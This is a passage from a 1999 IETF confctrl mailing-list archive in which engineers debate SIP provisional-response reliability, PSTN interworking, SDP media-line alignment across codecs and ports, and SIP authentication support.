	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id WAA00699;
	Mon, 19 Apr 1999 22:39:38 -0400 (EDT)
Message-ID: <371BE8EE.F672F20B@dnrc.bell-labs.com>
Date: Mon, 19 Apr 1999 22:39:42 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Tom-PT Taylor <taylor@nortelnetworks.com>
CC: confctrl@ISI.EDU
Subject: Re: Behavior of SIP Callee user agent
References: <C51ED84B6F47D211917A0000F8BCBD11011AA80F@zcard00g.ca.nortel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Tom-PT Taylor wrote:
> 
> What a lot of PSTN interworking problems would be solved if SIP assumed a
> reliable transport end-to-end and we could count on "100 Trying" to carry
> back the ACM and the "180 Ringing" to carry back the SDP to trigger ringing!

There are really two separate problems, and both are solvable:

1. 1XX responses are not reliable
2. 1XX responses are not mandatory

The first of these is solved by an extension Henning and I submitted two
IETF's back, which provides reliable provisional responses. As with
other SIP extensions, the caller (an originating gateway here), would
indicate its need for this extension in a Require header. 

The second problem is addressed in a similar way. We simply define an
extension, say:

org.ietf.send180

and include this in a Require header in the INVITE as well. This
extension, which must always be used with reliable responses, simply
says that you should send a 180 (or 183, as discussed, for remote
generated tones an announcements) when ringback is being provided at the
remote end. Then, the calling gateway sends an ACM when it receives
either 180 or 183.

Of course, as has been pointed out, there are other, harder problems. If
the 180 causes local ringback at the originating gateway, and is then
followed by a 600, this causes the caller to hear a transition from
ringing to fast busy. I don't see any solution to this, however. 

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Apr 19 20:42:03 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id UAA05611
	for confctrl-outgoing; Mon, 19 Apr 1999 20:42:03 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id UAA05606
	for <confctrl@zephyr.isi.edu>; Mon, 19 Apr 1999 20:42:02 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id UAA20272
	for <confctrl@isi.edu>; Mon, 19 Apr 1999 20:42:01 -0700 (PDT)
Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by dirty; Mon Apr 19 23:41:50 EDT 1999
Received: from dnrc.bell-labs.com (jdrosen.lra.lucent.com [135.17.250.219])
	by couch.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id XAA01444;
	Mon, 19 Apr 1999 23:41:48 -0400 (EDT)
Message-ID: <371BF781.EA679634@dnrc.bell-labs.com>
Date: Mon, 19 Apr 1999 23:41:53 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Organization: Bell Laboratories
X-Mailer: Mozilla 4.05 [en] (Win95; U)
MIME-Version: 1.0
To: Anders Kristensen <ak@hplb.hpl.hp.com>
CC: confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
References: <371B418C.4BC100B2@hplb.hpl.hp.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anders Kristensen wrote:
> 
> On the subject of aligning SDP media streams rfc2543 says:
> 
>    The caller and callee align their media descriptions so that the nth
>    media stream ("m=" line) in the caller's session description
>    corresponds to the nth media stream in the callee's description.
> 
> As far as I can tell this is not possible in the case where the caller
> has a single m= line citing multiple codecs (which is very common) and
> the callee supports at least two of them but on different port numbers.
> In this case the callee would appear to have to use multiple m= lines in
> the response.

Why would the callee do this? The port numbers are meant to demultiplex
multiple streams, and within each stream, the payload type in the RTP
demultiplexes the codec possibilities. Thus, the callee would respond
with a single m line, listing the one port number it expects to receive
the stream, along with the two codecs it supports, and their payload
type numbers.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Apr 19 21:32:36 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA07471
	for confctrl-outgoing; Mon, 19 Apr 1999 21:32:36 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA07466
	for <confctrl@zephyr.isi.edu>; Mon, 19 Apr 1999 21:32:35 -0700 (PDT)
Received: from ce-nfs-1.cisco.com (ce-nfs-1.cisco.com [171.68.201.251])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id VAA23188
	for <confctrl@ISI.EDU>; Mon, 19 Apr 1999 21:32:34 -0700 (PDT)
Received: from glock (sj-dial-3-244.cisco.com [171.68.180.245]) by ce-nfs-1.cisco.com (8.8.5/CA/950118) with SMTP id VAA02591; Mon, 19 Apr 1999 21:28:09 -0700 (PDT)
Message-ID: <004501be8ae6$348fc0e0$f5b444ab@glock>
From: "Stephen Sprunk" <ssprunk@cisco.com>
To: "Jonathan Rosenberg" <jdrosen@dnrc.bell-labs.com>,
        "Anders Kristensen" <ak@hplb.hpl.hp.com>
Cc: "confctrl" <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
Date: Mon, 19 Apr 1999 23:27:20 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.1
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Not to mention there are some applications which might wish to change codecs
(possibly dozens of times) during a media stream.  Putting different codecs
on different ports would require unnecessary transcoding in this case.

Stephen

     |          |         Stephen Sprunk, K5SSS, CCIE #3723
    :|:        :|:        NSA, Network Consulting Engineer
   :|||:      :|||:       14875 Landmark Blvd #400; Dallas, TX
.:|||||||:..:|||||||:.    Pager: 800-365-4578 / 800-901-6078
C I S C O S Y S T E M S   Email: ssprunk@cisco.com

-----Original Message-----
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
To: Anders Kristensen <ak@hplb.hpl.hp.com>
Cc: confctrl <confctrl@ISI.EDU>
Date: Monday, April 19, 1999 22:56
Subject: Re: SDP media alignment in SIP


>Anders Kristensen wrote:
>>
>> On the subject of aligning SDP media streams rfc2543 says:
>>
>>    The caller and callee align their media descriptions so that the nth
>>    media stream ("m=" line) in the caller's session description
>>    corresponds to the nth media stream in the callee's description.
>>
>> As far as I can tell this is not possible in the case where the caller
>> has a single m= line citing multiple codecs (which is very common) and
>> the callee supports at least two of them but on different port numbers.
>> In this case the callee would appear to have to use multiple m= lines in
>> the response.
>
>Why would the callee do this? The port numbers are meant to demultiplex
>multiple streams, and within each stream, the payload type in the RTP
>demultiplexes the codec possibilities. Thus, the callee would respond
>with a single m line, listing the one port number it expects to receive
>the stream, along with the two codecs it supports, and their payload
>type numbers.
>
>-Jonathan R.
>--
>Jonathan D. Rosenberg                       Lucent Technologies
>Member of Technical Staff                   101 Crawfords Corner Rd.
>High Speed Networks Research                Holmdel, NJ 07733
>FAX: (732) 834-5379                         Rm. 4C-526
>EMAIL: jdrosen@bell-labs.com
>URL: http://www.cs.columbia.edu/~jdrosen


From confctrl-owner  Tue Apr 20 02:34:51 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA18515
	for confctrl-outgoing; Tue, 20 Apr 1999 02:34:51 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA18510
	for <confctrl@zephyr.isi.edu>; Tue, 20 Apr 1999 02:34:49 -0700 (PDT)
Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id CAA21701
	for <confctrl@ISI.EDU>; Tue, 20 Apr 1999 02:34:48 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id FAA19124
	for <confctrl@ISI.EDU>; Tue, 20 Apr 1999 05:34:32 -0400 (EDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id KAA23427
	for <confctrl@ISI.EDU>; Tue, 20 Apr 1999 10:34:45 +0100 (BST)
Message-ID: <371C4A35.9F238F9E@hplb.hpl.hp.com>
Date: Tue, 20 Apr 1999 10:34:45 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
References: <371B418C.4BC100B2@hplb.hpl.hp.com> <371BF781.EA679634@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Jonathan Rosenberg wrote:
> 
> Anders Kristensen wrote:
> >
> > On the subject of aligning SDP media streams rfc2543 says:
> >
> >    The caller and callee align their media descriptions so that the nth
> >    media stream ("m=" line) in the caller's session description
> >    corresponds to the nth media stream in the callee's description.
> >
> > As far as I can tell this is not possible in the case where the caller
> > has a single m= line citing multiple codecs (which is very common) and
> > the callee supports at least two of them but on different port numbers.
> > In this case the callee would appear to have to use multiple m= lines in
> > the response.
> 
> Why would the callee do this? The port numbers are meant to demultiplex
> multiple streams, and within each stream, the payload type in the RTP
> demultiplexes the codec possibilities.

It doesn't seem very outlandish to imagine an application using multiple
"media handling" applications or software libraries for handling
different codecs, with each of these apps/libs using separate port
numbers. The last thing you'd want to do is to demultiplex RTP streams
at an application level when all actual media handling takes place
elsewhere.

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Tue Apr 20 04:30:53 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA21907
	for confctrl-outgoing; Tue, 20 Apr 1999 04:30:53 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA21902
	for <confctrl@zephyr.isi.edu>; Tue, 20 Apr 1999 04:30:51 -0700 (PDT)
Received: from kaa.kfunigraz.ac.at (KAA-ATM.kfunigraz.ac.at [143.50.202.22])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA05636
	for <confctrl@ISI.EDU>; Tue, 20 Apr 1999 04:30:49 -0700 (PDT)
Received: from balu.kfunigraz.ac.at (balu [143.50.16.16])
	by kaa.kfunigraz.ac.at (8.9.2/8.9.2) with ESMTP id NAA18991;
	Tue, 20 Apr 1999 13:30:05 +0200 (MDT)
Received: from writeme.com (BGSZ137.kfunigraz.ac.at [143.50.30.137])
	by balu.kfunigraz.ac.at (8.9.2/8.9.2) with ESMTP id NAA06144;
	Tue, 20 Apr 1999 13:30:45 +0200 (MDT)
Message-ID: <371C64BE.C1C660C0@writeme.com>
Date: Tue, 20 Apr 1999 13:27:58 +0200
From: Markus Pscheidt <pscheidt@writeme.com>
X-Mailer: Mozilla 4.5 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: confctrl@ISI.EDU
Subject: Re: SIP security
References: <37149515.919C5698@writeme.com> <3715ED38.A2FA5EEC@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



   sorry, my fault. the sip-security draft - which is outdated by the
way - did not mention authentication procedures that make use of HTTP.

Henning Schulzrinne wrote:
> 
> Can you be precise as to the "missing authentication features"? SIP
> currently supports password-based, challenge-response and PGP-based
> authentication, with additional methods easily addable. (E.g., a current
> homework assignment of mine is asking my Network Security students to
> add OTP (S/KEY aka Lamport hash) to HTTP/SIP.
> 
> Markus Pscheidt wrote:
> >
> > What is the security situation of SIP likely to be in the future?
> >
> > ...There was an article in this mailing list some time ago stating that
> > SAP security mechanisms would be appropriate to address the missing
> > authentication procedures of SIP. Is that right, or are there other
> > plans?
> >
> > ~~ Markus Pscheidt alias pscheidt@writeme.com ~~
> >  student at Graz Technical University, Austria

From confctrl-owner  Tue Apr 20 06:01:58 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA24764
	for confctrl-outgoing; Tue, 20 Apr 1999 06:01:58 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA24759
	for <confctrl@zephyr.isi.edu>; Tue, 20 Apr 1999 06:01:57 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA16395
	for <confctrl@ISI.EDU>; Tue, 20 Apr 1999 06:01:56 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id JAA00942;
	Tue, 20 Apr 1999 09:01:55 -0400 (EDT)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id JAA17151;
	Tue, 20 Apr 1999 09:01:54 -0400 (EDT)
Message-ID: <371C7AC2.B2A9ADC5@cs.columbia.edu>
Date: Tue, 20 Apr 1999 09:01:54 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Markus Pscheidt <pscheidt@writeme.com>
CC: confctrl@ISI.EDU
Subject: Re: SIP security
References: <37149515.919C5698@writeme.com> <3715ED38.A2FA5EEC@cs.columbia.edu> <371C64BE.C1C660C0@writeme.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Markus Pscheidt wrote:
> 
>    sorry, my fault. the sip-security draft - which is outdated by the
> way - did not mention authentication procedures that make use of HTTP.
> 

Just for the record: The SIP security draft has long been superseded by
including the material into RFC 2543.

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Tue Apr 20 06:39:54 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA26002
	for confctrl-outgoing; Tue, 20 Apr 1999 06:39:54 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA25997
	for <confctrl@zephyr.isi.edu>; Tue, 20 Apr 1999 06:39:53 -0700 (PDT)
Received: from orange.pcs.ellemtel.net (orange.pcs.ellemtel.net [194.237.226.84] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA21324
	for <confctrl@ISI.EDU>; Tue, 20 Apr 1999 06:39:52 -0700 (PDT)
Received: from ellemtel.se (isdn242.ellemtel.net [194.237.226.242]) by orange.pcs.ellemtel.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id 2838YW09; Tue, 20 Apr 1999 15:39:54 +0200
Message-ID: <371C83A2.1AED5D9E@ellemtel.se>
Date: Tue, 20 Apr 1999 15:39:46 +0200
From: eubpepe <Peter.Peldan@ellemtel.se>
Organization: Ellemtel
X-Mailer: Mozilla 4.05 [en] (WinNT; I)
MIME-Version: 1.0
To: Anders Kristensen <ak@hplb.hpl.hp.com>, confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
References: <371B418C.4BC100B2@hplb.hpl.hp.com> <371BF781.EA679634@dnrc.bell-labs.com> <371C4A35.9F238F9E@hplb.hpl.hp.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anders Kristensen wrote:
> 
> 
> It doesn't seem very outlandish to imagine an application using multiple
> "media handling" applications or software libraries for handling
> different codecs, with each of these apps/libs using separate port
> numbers. The last thing you'd want to do is to demultiplex RTP streams
> at an application level when all actual media handling takes place
> elsewhere.
> 
I have to agree on this point. Although it probably will be most common
to have all audio-handling in the same multimedia-handler, lots of
SIP-UA's will probably have plug-in capabilities for different session
types, and in that case one will end up in the situation described by
Anders.

Peter Peldan, PhD
Ellemtel Utvecklings AB
Peter.Peldan@ellemtel.se

From confctrl-owner  Tue Apr 20 06:50:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA26471
	for confctrl-outgoing; Tue, 20 Apr 1999 06:50:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA26466
	for <confctrl@zephyr.isi.edu>; Tue, 20 Apr 1999 06:50:02 -0700 (PDT)
Received: from thumper.research.telcordia.com (thumper.research.telcordia.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA22741
	for <confctrl@isi.edu>; Tue, 20 Apr 1999 06:50:00 -0700 (PDT)
Received: from seawind.research.telcordia.com (seawind [192.4.18.101])
	by thumper.research.telcordia.com (8.9.1a/8.9.1) with ESMTP id JAA11761;
	Tue, 20 Apr 1999 09:49:28 -0400 (EDT)
Received: (from huitema@localhost)
	by seawind.research.telcordia.com (8.8.8/8.8.8) id JAA26178;
	Tue, 20 Apr 1999 09:49:25 -0400 (EDT)
Date: Tue, 20 Apr 1999 09:49:25 -0400 (EDT)
From: Christian Huitema <huitema@research.telcordia.com>
Message-Id: <990420094927.ZM26176@seawind.research.bellcore.com>
In-Reply-To: "Tom-PT Taylor" <taylor@nortelnetworks.com>
        "RE: Behavior of SIP Callee user agent" (Apr 19,  8:06pm)
References: <C51ED84B6F47D211917A0000F8BCBD11011AA80F@zcard00g.ca.nortel.com>
X-Mailer: Z-Mail (5.0.0 30July97)
To: "Tom-PT Taylor" <taylor@nortelnetworks.com>, confctrl@ISI.EDU
Subject: Re: Behavior of SIP Callee user agent
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Apr 19,  8:06pm, Tom-PT Taylor wrote:
> Subject: RE: Behavior of SIP Callee user agent
> What a lot of PSTN interworking problems would be solved if SIP assumed
a
> reliable transport end-to-end and we could count on "100 Trying" to
carry
> back the ACM and the "180 Ringing" to carry back the SDP to trigger
ringing!

Tom,

The problem is not so much the absence of an end-to-end transport as the
absence of a formal acknowledgement for each step in the calling process.
UDP based protocols do work well if each "command" is immediately
"acknowledged."  In SIP, the INVITE is acknowledged (through either a
provisional response of a definitive response), the definitive response is
acknowledged (through the ACK response to 200), but intermediate responses
are orphans that float in thin air.

The ACM is logically tied to the "ringing" message.  It cannot be issued
after a mere progress without breaking the SS7 semantic -- for example,
without foregoing overlap numbering.  Sending an arbitrary ACM is just
wrong.

One possibility would be to recognized that the ACK can be used in
response to provisional responses (provisional ACK), as a way to
synchronize the sender's and receiver's state machine.

-- 
Christian Huitema
------------------------------
Please note my new address: huitema@research.telcordia.com
http://www.telcordia.com/

From confctrl-owner  Tue Apr 20 06:52:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA26530
	for confctrl-outgoing; Tue, 20 Apr 1999 06:52:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA26525
	for <confctrl@zephyr.isi.edu>; Tue, 20 Apr 1999 06:52:05 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id GAA23023
	for <confctrl@isi.edu>; Tue, 20 Apr 1999 06:52:04 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Tue Apr 20 09:50:16 EDT 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id JAA15233;
	Tue, 20 Apr 1999 09:50:13 -0400 (EDT)
Message-ID: <371C858E.5AD7DCA2@dnrc.bell-labs.com>
Date: Tue, 20 Apr 1999 09:47:58 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Anders Kristensen <ak@hplb.hpl.hp.com>
CC: confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
References: <371B418C.4BC100B2@hplb.hpl.hp.com> <371BF781.EA679634@dnrc.bell-labs.com> <371C4A35.9F238F9E@hplb.hpl.hp.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anders Kristensen wrote:
> 
> > Why would the callee do this? The port numbers are meant to demultiplex
> > multiple streams, and within each stream, the payload type in the RTP
> > demultiplexes the codec possibilities.
> 
> It doesn't seem very outlandish to imagine an application using multiple
> "media handling" applications or software libraries for handling
> different codecs, with each of these apps/libs using separate port
> numbers. The last thing you'd want to do is to demultiplex RTP streams
> at an application level when all actual media handling takes place
> elsewhere.

First off, different media (audio, video, games, etc) are each on
different m lines, which do have different ports. The list of codecs for
a given media stream indicates those codecs that can be used for a
single stream. Having separate libraries is just fine, but this doesn't
mandate different ports. Different applications for each codec is a
different story. The decode process is only one step in the receiver.
After decode, the audio must be placed into a playout buffer, loss must
be compensated for, etc. This is done on a stream by stream basis. So,
if you had each codec as a different app, these apps would need to feed
everyting back into a single, common per-media application anyway.
Remember also that the sender can change codecs dynamically as network
conditions vary. This will introduce interesting synchronization
problems if each codec is a separate app.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Apr 20 07:06:26 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA27093
	for confctrl-outgoing; Tue, 20 Apr 1999 07:06:26 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA27088
	for <confctrl@zephyr.isi.edu>; Tue, 20 Apr 1999 07:06:25 -0700 (PDT)
Received: from smtprtp.nortel.com (smtprtp.NortelNetworks.com [192.122.117.66])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA24963
	for <confctrl@isi.edu>; Tue, 20 Apr 1999 07:06:15 -0700 (PDT)
Received: from zrchb213.us.nortel.com (actually 47.100.128.42) 
          by smtprtp.nortel.com; Tue, 20 Apr 1999 10:02:54 -0400
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) 
          id <28XCZAXJ>; Tue, 20 Apr 1999 09:02:31 -0500
Message-ID: <C51ED84B6F47D211917A0000F8BCBD11011B4D76@zcard00g.ca.nortel.com>
From: "Tom-PT Taylor" <taylor@nortelnetworks.com>
To: Christian Huitema <huitema@research.telcordia.com>, confctrl@ISI.EDU
Subject: RE: Behavior of SIP Callee user agent
Date: Tue, 20 Apr 1999 09:02:18 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Obviously one would return "484 Address Incomplete" rather than "100 Trying"
in the case of overlap dialling, and would not return the ACM until the
requisite SAM in the forward direction justified it.

> -----Original Message-----
> From:	Christian Huitema [SMTP:huitema@research.telcordia.com]
> Sent:	Tuesday, April 20, 1999 9:49 AM
> To:	Taylor, Tom-PT [CAR:5V00-I:EXCH]; confctrl@isi.edu
> Subject:	Re: Behavior of SIP Callee user agent
> 
	[[TomT]]  ... 
> The ACM is logically tied to the "ringing" message.  It cannot be issued
> after a mere progress without breaking the SS7 semantic -- for example,
> without foregoing overlap numbering.  Sending an arbitrary ACM is just
> wrong.
> 
	[[TomT]]  ... -- 
> Christian Huitema
> ------------------------------
> Please note my new address: huitema@research.telcordia.com
> http://www.telcordia.com/

From confctrl-owner  Tue Apr 20 07:25:57 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA28156
	for confctrl-outgoing; Tue, 20 Apr 1999 07:25:57 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA28151
	for <confctrl@zephyr.isi.edu>; Tue, 20 Apr 1999 07:25:56 -0700 (PDT)
Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA28072
	for <confctrl@isi.edu>; Tue, 20 Apr 1999 07:25:56 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id HAA11716
	for <confctrl@isi.edu>; Tue, 20 Apr 1999 07:25:43 -0700 (PDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id PAA10970
	for <confctrl@isi.edu>; Tue, 20 Apr 1999 15:25:39 +0100 (BST)
Message-ID: <371C8E63.18B89734@hplb.hpl.hp.com>
Date: Tue, 20 Apr 1999 15:25:39 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.5 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl <confctrl@ISI.EDU>
Subject: Re: SDP media alignment in SIP
References: <371B418C.4BC100B2@hplb.hpl.hp.com> <371BF781.EA679634@dnrc.bell-labs.com> <371C4A35.9F238F9E@hplb.hpl.hp.com> <371C858E.5AD7DCA2@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Jonathan Rosenberg wrote:
> 
> First off, different media (audio, video, games, etc) are each on
> different m lines, which do have different ports. The list of codecs for
> a given media stream indicates those codecs that can be used for a
> single stream. Having separate libraries is just fine, but this doesn't
> mandate different ports.

Of course having separate libraries doesn't *mandate* using different
port numbers but it doesn't seem unlikely that a library would want to
"own" its own ports.

> Different applications for each codec is a
> different story. The decode process is only one step in the receiver.
> After decode, the audio must be placed into a playout buffer, loss must
> be compensated for, etc. This is done on a stream by stream basis. So,
> if you had each codec as a different app, these apps would need to feed
> everyting back into a single, common per-media application anyway.
> Remember also that the sender can change codecs dynamically as network
> conditions vary. This will introduce interesting synchronization
> problems if each codec is a separate app.

Hang on. I'm just talking about the SDP body being returned in a 2xx
response to an INVITE. This describes the media the callee is prepared
to send and/or receive. Not what actually ends up being sent or
received. The callee should be able to list all audio codecs it
understands without telling the caller which one of these to use. I
agree that having multiple subsystems each trying to generate audio
output is not a receipe for anything good.

It's easy enough to fix the spec:
  - remove the alignment requirement completely, or 
  - retain the alignment requirement but say that a single m= line in
    an INVITE may translate into multiple m= lines in the response, or
  - solve the problem by disallowing it, i.e. say the callee MAY NOT
    list those additional codecs handled on different port numbers
    (not nice).

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Tue Apr 20 07:29:21 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA28188
	for confctrl-outgoing; Tue, 20 Apr 1999 07:29:21 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA28183
	for <confctrl@zephyr.isi.edu>; Tue, 20 Apr 1999 07:29:19 -0700 (PDT)
